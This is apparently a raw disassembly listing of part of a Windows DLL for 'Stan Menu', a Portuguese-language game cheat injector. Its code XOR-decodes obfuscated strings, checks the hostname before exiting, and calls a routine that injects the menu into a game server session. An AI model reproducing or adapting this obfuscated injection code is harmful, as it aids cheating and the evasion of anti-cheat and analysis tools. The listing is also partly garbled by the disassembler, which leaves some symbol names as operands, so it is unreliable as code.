movd xmm1, dword [rbp + 0x6bc]
xorps xmm2, xmm1
movd dword [rbp + 0x6bc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6c0], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x6b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800d9230
mov r8, rbx
lea rdx, [0x1802efe16]
lea rcx, [rbp + 0x6b8]
call fcn.18004abb0
movsd xmm0, qword [str.dPVMezRH_]
movzx eax, byte [0x1801b36d0]
movsd qword [rbp + 0x358], xmm0
mov byte [rbp + 0x358], 0x53
xor byte [rbp + 0x359], 0x38
xor byte [rbp + 0x35a], 0x39
xor byte [rbp + 0x35b], 0x3a
xor byte [rbp + 0x35c], 0x3b
xor byte [rbp + 0x35d], 0x3c
xor byte [rbp + 0x35e], 0x3d
xor byte [rbp + 0x35f], 0x3e
xor al, 0x3f
mov byte [rbp + 0x360], al
mov r8, rbx
lea rdx, [0x1802efe18]
lea rcx, [rbp + 0x358]
call fcn.18004abb0
mov eax, dword [str.qwo:xLQ_IO]
mov dword [rbp - 0x44], eax
cmp byte [0x1801b36d7], 0
je 0x1800d93a9
mov r8d, esi
cmp r14d, 2
jl 0x1800d937b
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x44], xmm1
jmp 0x1800d93a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r10, [rbp - 0x44]
nop
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 4
jl 0x1800d9380
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
mov r9d, 0x32
mov r8d, 1
lea rdx, [0x18025055c]
lea rcx, [rbp - 0x44]
call fcn.180052430
mov cl, 1
call fcn.180017290
mov dword [rbp + 0x268], 0x439d0000
mov dword [rbp + 0x26c], 0x437a0000
lea rcx, [rbp + 0x268]
call fcn.180024f20
movzx eax, word [0x1801b36e0]
mov word [rbp - 0x68], ax
mov dword [rbp + 0x270], 0x43910000
mov dword [rbp + 0x274], 0x42d20000
mov eax, dword [0x1801b36d8]
mov dword [rbp + 0x1c], eax
movzx eax, word [0x1801b36dc]
mov word [rbp + 0x20], ax
movzx eax, byte [0x1801b36de]
cmp byte [0x1801b36e1], 0
je 0x1800d9440
mov byte [rbp - 0x68], 0x33
xor byte [rbp - 0x67], 0x38
mov byte [rbp + 0x1c], 0x4f
xor byte [rbp + 0x1d], 0x38
xor byte [rbp + 0x1e], 0x39
xor byte [rbp + 0x1f], 0x3a
xor byte [rbp + 0x20], 0x3b
xor byte [rbp + 0x21], 0x3c
xor al, 0x3d
mov byte [rbp + 0x22], al
lea rdi, [0x180167e06]
mov qword [rsp + 0x28], rdi
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x1c]
call fcn.180013bd0
movsd xmm0, qword [0x1801b36e8]
movsd qword [rbp + 0x408], xmm0
movzx eax, word [0x1801b36f0]
mov word [rbp + 0x410], ax
cmp byte [0x1801b36f1], 0
je 0x1800d94f5
mov byte [rbp + 0x408], 0x4e
xor byte [rbp + 0x409], 0x38
xor byte [rbp + 0x40a], 0x39
xor byte [rbp + 0x40b], 0x3a
xor byte [rbp + 0x40c], 0x3b
xor byte [rbp + 0x40d], 0x3c
xor byte [rbp + 0x40e], 0x3d
xor byte [rbp + 0x40f], 0x3e
xor byte [rbp + 0x410], 0x3f
xor byte [rbp + 0x411], 0x40
mov r8, rdi
lea rdx, [0x1802efe14]
lea rcx, [rbp + 0x408]
call fcn.18004abb0
movsd xmm0, qword [0x1801b36f8]
movsd qword [rbp + 0x418], xmm0
movzx eax, word [0x1801b3700]
mov word [rbp + 0x420], ax
cmp byte [0x1801b3701], 0
je 0x1800d9578
mov byte [rbp + 0x418], 0x4e
xor byte [rbp + 0x419], 0x38
xor byte [rbp + 0x41a], 0x39
xor byte [rbp + 0x41b], 0x3a
xor byte [rbp + 0x41c], 0x3b
xor byte [rbp + 0x41d], 0x3c
xor byte [rbp + 0x41e], 0x3d
xor byte [rbp + 0x41f], 0x3e
xor byte [rbp + 0x420], 0x3f
xor byte [rbp + 0x421], 0x40
mov r8, rdi
lea rdx, [0x1802efdef]
lea rcx, [rbp + 0x418]
call fcn.18004abb0
mov cl, 1
call fcn.180017290
xor ecx, ecx
call fcn.180017290
jmp 0x1800d95a5
lea rdi, [0x180167e06]
cmp dword [0x1802f046c], 3
jne 0x1800d9e12
lea rcx, [0x1801e8070]
call fcn.180016140
movss xmm3, dword [rbp + 0x1734]
movaps xmm1, xmm3
addss xmm1, xmm13
movss xmm2, dword [rbp + 0x1730]
movaps xmm0, xmm2
addss xmm0, dword [0x1801b4ca0]
movss dword [rbp + 0x278], xmm0
movss dword [rbp + 0x27c], xmm1
addss xmm3, dword [0x180168bfc]
addss xmm2, dword [0x180168de8]
movss dword [rbp + 0x280], xmm2
movss dword [rbp + 0x284], xmm3
mov dword [rsp + 0x28], esi
xorps xmm0, xmm0
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x278]
lea rdx, [rbp + 0x280]
mov rcx, r13
call fcn.18002ce40
mov dword [rbp + 0x288], 0x42c20000
mov dword [rbp + 0x28c], 0x41400000
lea rcx, [rbp + 0x288]
call fcn.180024f20
call fcn.180014850
mov rax, qword [str.gJWRIP_qJXW]
mov qword [rbp + 0x290], rax
cmp byte [0x1801b370f], 0
je 0x1800d978a
mov r8d, esi
cmp r14d, 2
jl 0x1800d975a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x290]
xorps xmm2, xmm1
movd dword [rbp + 0x290], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x294]
xorps xmm2, xmm1
movd dword [rbp + 0x294], xmm2
jmp 0x1800d978a
lea r9, [rbp + 0x290]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800d9761
xor r8d, r8d
lea rdx, [0x1802f0470]
lea rcx, [rbp + 0x290]
call fcn.180052d60
call fcn.180017960
mov dword [rbp + 0x298], 0x42aa0000
mov dword [rbp + 0x29c], 0x42700000
lea rcx, [rbp + 0x298]
call fcn.180024f20
mov qword [rbp + 0x2a0], 0
mov eax, dword [0x1801b3710]
mov dword [rbp + 0x24], eax
movzx ecx, word [0x1801b3714]
mov word [rbp + 0x28], cx
movzx eax, byte [0x1801b3716]
mov byte [rbp + 0x24], 0x46
xor byte [rbp + 0x25], 0x38
xor byte [rbp + 0x26], 0x39
xor byte [rbp + 0x27], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x28], cl
xor byte [rbp + 0x29], 0x3c
xor al, 0x3d
mov byte [rbp + 0x2a], al
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x24]
call fcn.180013bd0
mov dword [rbp + 0x2a8], 0x41400000
mov dword [rbp + 0x2ac], 0x41400000
lea rcx, [rbp + 0x2a8]
call fcn.180024f20
call fcn.180014850
lea rsi, [0x1802eb490]
cmp byte [0x1802f0660], 0
jne 0x1800d9a04
lea rcx, [0x1802eb4b0]
mov rax, qword [rbp + 0x88]
cmp rcx, rax
je 0x1800d988c
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1800d9883
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.180054a40
mov rdx, qword [rbp + 0x80]
lea rcx, [rbp + 0x16f8]
call fcn.18005b090
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0x1030]
call fcn.18005b090
mov rdi, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1800d98c3
mov rcx, qword [rax]
xor edx, edx
mov r8d, 0xa
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rbx, eax
mov rcx, rdi
call fcn.180049240
mov qword [rbp + 0x1738], rbx
lea rdx, [rbp + 0x1738]
lea rcx, [rbp + 0x14d0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x14d0]
movaps xmmword [rbp + 0x1500], xmm0
movups xmm1, xmmword [rbp + 0x14e0]
movaps xmmword [rbp + 0x1510], xmm1
mov eax, dword [rbp + 0x14f0]
mov dword [rbp + 0x1520], eax
movsd xmm0, qword [0x1801b2340]
movsd qword [rbp + 0x348], xmm0
movzx eax, byte [0x1801b2348]
mov byte [rbp + 0x348], 0x25
xor byte [rbp + 0x349], 0x38
xor byte [rbp + 0x34a], 0x39
xor byte [rbp + 0x34b], 0x3a
xor byte [rbp + 0x34c], 0x3b
xor byte [rbp + 0x34d], 0x3c
xor byte [rbp + 0x34e], 0x3d
xor byte [rbp + 0x34f], 0x3e
xor al, 0x3f
mov byte [rbp + 0x350], al
lea r9, [rbp + 0x1500]
lea r8, [rbp + 0x348]
mov edx, 0x50
lea rcx, [rbp + 0x1ac0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1050], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1060], xmm1
lea rax, [rbp + 0x1ac0]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1800d99b5
lea rdx, [rbp + 0x1ac0]
lea rcx, [rbp + 0x1050]
call fcn.180048670
or r12d, 0x20
lea rdx, [rbp + 0x1050]
mov rcx, rsi
call fcn.180049310
lea rcx, [rbp + 0x1050]
call fcn.180049240
mov byte [0x1802f0660], 1
lea rcx, [rbp + 0x16f8]
call fcn.180049240
cmp dword [0x1802f0470], 0
jne 0x1800d9de6
movsd xmm0, qword [0x1801b3718]
movsd qword [rbp + 0x4a8], xmm0
movzx ecx, word [0x1801b3720]
mov word [rbp + 0x4b0], cx
movzx eax, byte [0x1801b3722]
mov byte [rbp + 0x4a8], gethostname
xor byte [rbp + 0x4a9], 0x38
xor byte [rbp + 0x4aa], 0x39
xor byte [rbp + 0x4ab], 0x3a
xor byte [rbp + 0x4ac], 0x3b
xor byte [rbp + 0x4ad], 0x3c
xor byte [rbp + 0x4ae], 0x3d
xor byte [rbp + 0x4af], 0x3e
xor cl, 0x3f
mov byte [rbp + 0x4b0], cl
xor byte [rbp + 0x4b1], 0x40
xor al, 0x41
mov byte [rbp + 0x4b2], al
lea rdx, [rbp + 0x4a8]
mov rcx, rsi
call fcn.1800a0a90
test al, al
je 0x1800d9aa2
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov eax, dword [0x1801b3734]
mov dword [rbp - 0x40], eax
cmp byte [0x1801b3737], 0
je 0x1800d9b4b
xor r8d, r8d
cmp r14d, 2
jl 0x1800d9b1e
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x40], xmm1
jmp 0x1800d9b4b
lea r9, [rbp - 0x40]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1800d9b22
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rsi, qword [0x1802eb490]
movsd xmm0, qword [str.dLXTeqXPJ_]
movsd qword [rbp + 0x428], xmm0
movzx eax, word [0x1801b3730]
mov word [rbp + 0x430], ax
cmp byte [0x1801b3731], 0
je 0x1800d9bc8
mov byte [rbp + 0x428], 0x53
xor byte [rbp + 0x429], 0x38
xor byte [rbp + 0x42a], 0x39
xor byte [rbp + 0x42b], 0x3a
xor byte [rbp + 0x42c], 0x3b
xor byte [rbp + 0x42d], 0x3c
xor byte [rbp + 0x42e], 0x3d
xor byte [rbp + 0x42f], 0x3e
xor byte [rbp + 0x430], 0x3f
xor byte [rbp + 0x431], 0x40
mov rdi, qword [0x1802eff48]
lea rcx, [rbp + 0x2b0]
call fcn.180018e20
mov rbx, rax
lea rcx, [rbp + 0x2b8]
call fcn.180019b80
movss xmm13, dword [rbx + 4]
addss xmm13, dword [rax + 4]
movss xmm15, dword [rbx]
addss xmm15, dword [rax]
lea r8, [rbp - 0x40]
mov rdx, rsi
lea rcx, [rbp + 0x428]
call fcn.18004c350
test al, al
jne 0x1800d9c7f
cmp byte [rdi], al
je 0x1800d9c41
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, dword [rdi + 4]
sub rax, rcx
cmp rax, 0x1f4
jb 0x1800d9ddd
cmp byte [rdi], 0
je 0x1800d9c41
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov dword [rdi + 4], eax
cmp byte [0x1802efc75], 0
jne 0x1800d9ddd
cmp byte [rdi], 0
je 0x1800d9ddd
cvttss2si r8d, xmm13
cvttss2si edx, xmm15
mov dword [rsp + 0x20], 0x64
mov r9d, 0x244
mov rcx, rdi
call fcn.1800ced10
test al, al
je 0x1800d9ddd
mov rax, qword [0x1802efc08]
cmp qword [rax + 8], 0
jne 0x1800d9ca5
lea rdx, str.Entre_no_servidor_antes_de_tentar_injetar.
lea rcx, str.Stan_Menu
call fcn.1800bb280
jmp 0x1800d9ddd
cmp byte [0x1802efc75], 0
je 0x1800d9cc6
lea rdx, str.Voce_ja_injetou_o_Stan_Menu.
lea rcx, str.Stan_Menu
call fcn.1800bb280
jmp 0x1800d9ddd
mov eax, dword [0x1801b3738]
mov dword [rbp + 0x2c], eax
movzx ecx, word [0x1801b373c]
mov word [rbp + 0x30], cx
movzx eax, byte [0x1801b373e]
mov byte [rbp + 0x2c], gethostname
xor byte [rbp + 0x2d], 0x38
xor byte [rbp + 0x2e], 0x39
xor byte [rbp + 0x2f], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x30], cl
xor byte [rbp + 0x31], 0x3c
xor al, 0x3d
mov byte [rbp + 0x32], al
lea rdx, [rbp + 0x2c]
lea rcx, [rbp + 0x1070]
call fcn.18005b1b0
mov rdx, rax
lea rcx, [rbp + 0x17a8]
call fcn.180083600
nop
lea rax, [rbp + 0x10b0]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x10b0], xmm0
xor eax, eax
mov qword [rbp + 0x10c0], rax
mov qword [rbp + 0x10c8], rax
xor r8d, r8d
lea rdx, [0x180167e06]
lea rcx, [rbp + 0x10b0]
call fcn.180048670
nop
lea rax, [rbp + 0x10d0]
mov qword [rsp + 0x48], rax
mov rdx, qword [rbp + 0x88]
lea rcx, [rbp + 0x10d0]
call fcn.18005b090
mov rbx, rax
lea rdx, [rbp + 0x17a8]
lea rcx, [rbp + 0x10f0]
call fcn.18005b090
nop
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0x10b0]
mov r8, rbx
mov rdx, rax
lea rcx, [0x1802eff38]
call fcn.1800c0b10
mov byte [0x1802efc75], 1
lea rdx, str.Stan_Menu_injetado_com_sucesso.
lea rcx, str.Stan_Menu
call fcn.1800bb280
nop
lea rcx, [rbp + 0x17a8]
call fcn.180049240
movss xmm13, dword [0x1801b4c74]
mov dword [rbp + 0x2c0], 0x44140000
mov dword [rbp + 0x2c4], 0x41700000
lea rcx, [rbp + 0x2c0]
call fcn.18004c280
call fcn.180017960
xor ecx, ecx
call fcn.180017290
cmp dword [0x1802f046c], 5
jne 0x1800e08a2
lea rcx, [0x1801e8070]
call fcn.180016140
movss xmm3, dword [rbp + 0x1734]
movaps xmm1, xmm3
addss xmm1, xmm13
movss xmm2, dword [rbp + 0x1730]
movaps xmm0, xmm2
addss xmm0, dword [0x1801b4ca0]
movss dword [rbp + 0x2c8], xmm0
movss dword [rbp + 0x2cc], xmm1
addss xmm3, dword [0x180168bfc]
addss xmm2, dword [0x180168de8]
movss dword [rbp + 0x2d0], xmm2
movss dword [rbp + 0x2d4], xmm3
xor edi, edi
mov dword [rsp + 0x28], edi
xorps xmm13, xmm13
movss dword [rsp + 0x20], xmm13
mov r9d, eax
lea r8, [rbp + 0x2c8]
lea rdx, [rbp + 0x2d0]
mov rcx, r13
call fcn.18002ce40
mov dword [rbp + 0x2d8], 0x42c20000
mov dword [rbp + 0x2dc], 0x41400000
lea rcx, [rbp + 0x2d8]
call fcn.180024f20
call fcn.180014850
mov rax, qword [str.p_W_I_Q_qJXW_b]
mov qword [rbp + 0x2e0], rax
cmp byte [0x1801b3747], dil
je 0x1800d9ffb
mov r8d, edi
cmp r14d, 2
jl 0x1800d9fcb
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x2e0]
xorps xmm2, xmm1
movd dword [rbp + 0x2e0], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x2e4]
xorps xmm2, xmm1
movd dword [rbp + 0x2e4], xmm2
jmp 0x1800d9ffb
lea r9, [rbp + 0x2e0]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800d9fd2
xor r8d, r8d
lea rdx, [0x1802f0470]
lea rcx, [rbp + 0x2e0]
call fcn.180052d60
movss xmm1, dword [0x180168c18]
movaps xmm0, xmm13
call fcn.180024590
call fcn.180017960
mov dword [rbp + 0x2e8], 0x42aa0000
mov dword [rbp + 0x2ec], 0x42700000
lea rcx, [rbp + 0x2e8]
call fcn.180024f20
mov qword [rbp + 0x2f0], rdi
mov eax, dword [0x1801b3748]
mov dword [rbp + 0x4c], eax
movzx ecx, word [0x1801b374c]
mov word [rbp + 0x50], cx
movzx eax, byte [0x1801b374e]
mov byte [rbp + 0x4c], 0x46
xor byte [rbp + 0x4d], 0x38
xor byte [rbp + 0x4e], 0x39
xor byte [rbp + 0x4f], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x50], cl
xor byte [rbp + 0x51], 0x3c
xor al, 0x3d
mov byte [rbp + 0x52], al
lea rbx, [0x180167e06]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x4c]
call fcn.180013bd0
mov dword [rbp + 0x2f8], 0x41400000
mov dword [rbp + 0x2fc], 0x41400000
lea rcx, [rbp + 0x2f8]
call fcn.180024f20
call fcn.180014850
movups xmm2, xmmword [str.uTVKNYT_]
movups xmmword [rbp + 0xb60], xmm2
mov edx, dword [0x1801b3770]
mov dword [rbp + 0xb70], edx
movzx eax, word [0x1801b3774]
mov word [rbp + 0xb74], ax
cmp byte [0x1801b3775], dil
je 0x1800da370
mov r8d, edi
cmp r14d, 2
jl 0x1800da329
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb60], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb64]
xorps xmm2, xmm1
movd dword [rbp + 0xb64], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb68]
xorps xmm2, xmm1
movd dword [rbp + 0xb68], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb6c]
xorps xmm2, xmm1
movd dword [rbp + 0xb6c], xmm2
movdqa xmm3, xmmword [0x180173d00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp + 0xb70], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0xb60]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1800da340
lea r10, [rbp + 0xb60]
mov dword [rbp + 0x300], 0x43910000
mov dword [rbp + 0x304], 0x42960000
movsd xmm1, qword [str.uTVYP]
movsd qword [rbp + 0x538], xmm1
mov ecx, dword [0x1801b3758]
mov dword [rbp + 0x540], ecx
cmp byte [0x1801b375b], dil
je 0x1800da539
mov r8d, edi
cmp r14d, 2
jl 0x1800da4fd
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.uTVYP]
xorps xmm1, xmm0
movd dword [rbp + 0x538], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x53c]
xorps xmm2, xmm1
movd dword [rbp + 0x53c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x540], xmm2
jmp 0x1800da53c
lea r9, [rbp + 0x538]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800da510
xor r8d, r8d
mov qword [rsp + 0x28], r10
lea rax, [0x1801b3b48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
